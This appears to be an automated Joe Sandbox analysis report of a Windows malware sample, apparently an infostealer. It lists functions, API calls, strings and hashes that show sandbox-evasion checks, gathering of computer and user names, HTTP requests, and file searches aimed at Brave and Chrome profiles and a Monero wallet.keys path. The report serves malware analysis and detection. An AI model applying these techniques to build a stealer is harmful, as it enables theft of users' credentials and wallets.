API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 745c9267c832c08cffcdf7ffcf490bf2448e570b142de62ce54f2308fa8e89ae
Instruction ID: 8a88e5bffc9ed59d1d36f04bdf959560f74341457ec5d5fe8cf612b988328366
Opcode Fuzzy Hash: 745c9267c832c08cffcdf7ffcf490bf2448e570b142de62ce54f2308fa8e89ae
Instruction Fuzzy Hash: 4C311A70910208AADF44F7E0DD56AEE77BEBF15740F00461CF202A6581DF705905CBAA

Function 00681220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0068123E
__aulldiv.LIBCMT ref: 00681258
__aulldiv.LIBCMT ref: 00681266
ExitProcess.KERNEL32 ref: 00681294

Strings

@, xrefs: 00681233

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 6d7a5d875a1c30e75879e893898dec875d45deae6ae5572c5de064726cef8e7e
Instruction ID: ed1a3f6af167de9d9e8255058f6cb231cfea9303e336892257384aa3d2de76ec
Opcode Fuzzy Hash: 6d7a5d875a1c30e75879e893898dec875d45deae6ae5572c5de064726cef8e7e
Instruction Fuzzy Hash: 61014BB0940308AAEF10EBE4CC5AF9EBB7DAB05705F208158E605BA280D67456868799

Function 00696AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01488FA8,?,006A110C,?,00000000,?,006A1110,?,00000000,006A0AEF), ref: 00696ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00696AE8
CloseHandle.KERNEL32(00000000), ref: 00696AF9
Sleep.KERNEL32(00001770), ref: 00696B04
CloseHandle.KERNEL32(?,00000000,?,01488FA8,?,006A110C,?,00000000,?,006A1110,?,00000000,006A0AEF), ref: 00696B1A
ExitProcess.KERNEL32 ref: 00696B22

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 464179830521ef39ede81f5e4c1fa1c471822bc1ff69c807afb0e9f8edaff896
Instruction ID: 8c01fd588db536af2437734a59a8990f06b9cad218f2416c73ffa25e9cda55a6
Opcode Fuzzy Hash: 464179830521ef39ede81f5e4c1fa1c471822bc1ff69c807afb0e9f8edaff896
Instruction Fuzzy Hash: B3F0B830A0030EABEF00ABA0CC0AFBE7B7EFB04304F104519B903A19C4DBB05501DAAA

Function 006847B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00684839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00684849

Strings

<, xrefs: 006847C9

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: a6fc900078d9be24ea7f3cf10b1f4ae1c8da7f7f070a2f12304d9c8e9d666bf5
Instruction ID: 867efd340e5c1c52f47eeb4b5413a94960eddc056f89b0aa2c19bf14cce01c58
Opcode Fuzzy Hash: a6fc900078d9be24ea7f3cf10b1f4ae1c8da7f7f070a2f12304d9c8e9d666bf5
Instruction Fuzzy Hash: 5A214FB1D00209ABDF14DFA4E845ADE7B79FB45320F108629F955A72C1EB706A05CF81

Function 006951F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0069A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0069A7E6

Part of subcall function 00686280: InternetOpenA.WININET(006A0DFE,00000001,00000000,00000000,00000000), ref: 006862E1
Part of subcall function 00686280: StrCmpCA.SHLWAPI(?,0148E838), ref: 00686303
Part of subcall function 00686280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00686335
Part of subcall function 00686280: HttpOpenRequestA.WININET(00000000,GET,?,0148DF30,00000000,00000000,00400100,00000000), ref: 00686385
Part of subcall function 00686280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006863BF
Part of subcall function 00686280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006863D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00695228

Strings

ERROR, xrefs: 00695273
ERROR, xrefs: 0069521A

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 20b89c8e7a1f5d4ece60ea0392f5c8ab62da7304406b28107d746b8ff5ddd64c
Instruction ID: 5d5b572b2cc3f9ce8dcfdae00ede409e2a9a880bed4d0adc3af13e6d498735ff
Opcode Fuzzy Hash: 20b89c8e7a1f5d4ece60ea0392f5c8ab62da7304406b28107d746b8ff5ddd64c
Instruction Fuzzy Hash: C011DD70910148A7CF54FBA4DD52AED73BEAF50340F40416CF81A5A992EF30AB06CB9A

Function 006978E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00697910
RtlAllocateHeap.NTDLL(00000000), ref: 00697917
GetComputerNameA.KERNEL32(?,00000104), ref: 0069792F

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 6586e228a00279567a4fbc1d0b2926f1cefbe968649b0d427b019af112e60f48
Instruction ID: 84f4f5950590af3fcd62e06a685c13f3f40b7809882887ca3e791feb8998aad7
Opcode Fuzzy Hash: 6586e228a00279567a4fbc1d0b2926f1cefbe968649b0d427b019af112e60f48
Instruction Fuzzy Hash: 8B0181B1A04208EBDB04DF98DD45FAABBBCFB04B25F10422AFA45E3680C37559008BA1

Function 00681110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0068112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00681132
ExitProcess.KERNEL32 ref: 00681143

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: b229a3b711e7f73f336dd37ba60da7b43cfafe9f9a87eda4e30a2dff09c6f120
Instruction ID: e32114407423f649bf08dcfb2e3fab7e1f295102d62e347a80f8e7a46b24d2ce
Opcode Fuzzy Hash: b229a3b711e7f73f336dd37ba60da7b43cfafe9f9a87eda4e30a2dff09c6f120
Instruction Fuzzy Hash: B9E0E67094530CFBE7546BA09C0EF49767CFB05B05F104154F7097A5D0D6B52A419799

Function 006810A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 006810B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 006810F7

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: b0bd933760dc070704358c37edaa009eea0e5388c2f57b00394a101063807f63
Instruction ID: abb53f2ab95196be0a43ee9829758997e9f1d0599a284dfdcc2df8f5da75049d
Opcode Fuzzy Hash: b0bd933760dc070704358c37edaa009eea0e5388c2f57b00394a101063807f63
Instruction Fuzzy Hash: FBF0E271641208BBEB14ABA8AC49FAAB7ECE706B15F300548F504E7280D9729E00CBA4

Function 00681190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 006978E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00697910
Part of subcall function 006978E0: RtlAllocateHeap.NTDLL(00000000), ref: 00697917
Part of subcall function 006978E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0069792F

Part of subcall function 00697850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006811B7), ref: 00697880
Part of subcall function 00697850: RtlAllocateHeap.NTDLL(00000000), ref: 00697887
Part of subcall function 00697850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0069789F

ExitProcess.KERNEL32 ref: 006811C6

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: a6b69b9f34c7656981b521422e33e9b8e7413bf31a27caa175a191343be9bfbf
Instruction ID: 86063916dce87cf05e20b9b666490c98c209b118acc6fd5ea155ea3d57d60522
Opcode Fuzzy Hash: a6b69b9f34c7656981b521422e33e9b8e7413bf31a27caa175a191343be9bfbf
Instruction Fuzzy Hash: 2CE0ECB592420956CE4473B0AD0AF2A32AE6B16749F040539BA05D6602FA25E801866E

Non-executed Functions

Function 006938B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006938CC
FindFirstFileA.KERNEL32(?,?), ref: 006938E3
lstrcat.KERNEL32(?,?), ref: 00693935
StrCmpCA.SHLWAPI(?,006A0F70), ref: 00693947
StrCmpCA.SHLWAPI(?,006A0F74), ref: 0069395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00693C67
FindClose.KERNEL32(000000FF), ref: 00693C7C

Strings

%s\%s, xrefs: 0069397A
%s%s, xrefs: 00693AAD
%s\%s, xrefs: 00693A6F
%s\*, xrefs: 006938C0
%s\%s\%s, xrefs: 00693A4A

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: dada1de0d4af592c62ca3c2be2859d3e9b4c1b1e2f2bab803fea54ac6b68f73c
Instruction ID: 9e8026a8da236e06e74ec0958f162d4e6fa059cd7c6249f7482866e4fd388306
Opcode Fuzzy Hash: dada1de0d4af592c62ca3c2be2859d3e9b4c1b1e2f2bab803fea54ac6b68f73c
Instruction Fuzzy Hash: 5CA161B19002189FDF24EFA4DC85FEA737DFB54300F044588A60DA6641EB759B84CFA2

Function 0068BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 0069A920: lstrcpy.KERNEL32(00000000,?), ref: 0069A972
Part of subcall function 0069A920: lstrcat.KERNEL32(00000000), ref: 0069A982

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

FindFirstFileA.KERNEL32(00000000,?,006A0B32,006A0B2B,00000000,?,?,?,006A13F4,006A0B2A), ref: 0068BEF5
StrCmpCA.SHLWAPI(?,006A13F8), ref: 0068BF4D
StrCmpCA.SHLWAPI(?,006A13FC), ref: 0068BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0068C7BF
FindClose.KERNEL32(000000FF), ref: 0068C7D1

Strings

Preferences, xrefs: 0068C11E
Google Chrome, xrefs: 0068C634
Brave, xrefs: 0068C102
\Brave\Preferences, xrefs: 0068C1DB

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 5a8719cd3608e571f53e8d2140fbd1cf3b0c96c7d329ac7ce8a4f92cec8149d6
Instruction ID: bb528bd5f694eb06a99d664f57c8e545f037bc76af6a54cc0e6b57642ce28442
Opcode Fuzzy Hash: 5a8719cd3608e571f53e8d2140fbd1cf3b0c96c7d329ac7ce8a4f92cec8149d6
Instruction Fuzzy Hash: 974252729101089BDF54FBF0DD96EED73BEAB44300F40465CB90AA6581EE349B49CBE6

Function 00694910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0069492C
FindFirstFileA.KERNEL32(?,?), ref: 00694943
StrCmpCA.SHLWAPI(?,006A0FDC), ref: 00694971
StrCmpCA.SHLWAPI(?,006A0FE0), ref: 00694987
FindNextFileA.KERNEL32(000000FF,?), ref: 00694B7D
FindClose.KERNEL32(000000FF), ref: 00694B92

Strings

%s\%s, xrefs: 006949FB
%s\*, xrefs: 00694920
%s\%s, xrefs: 006949A4

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
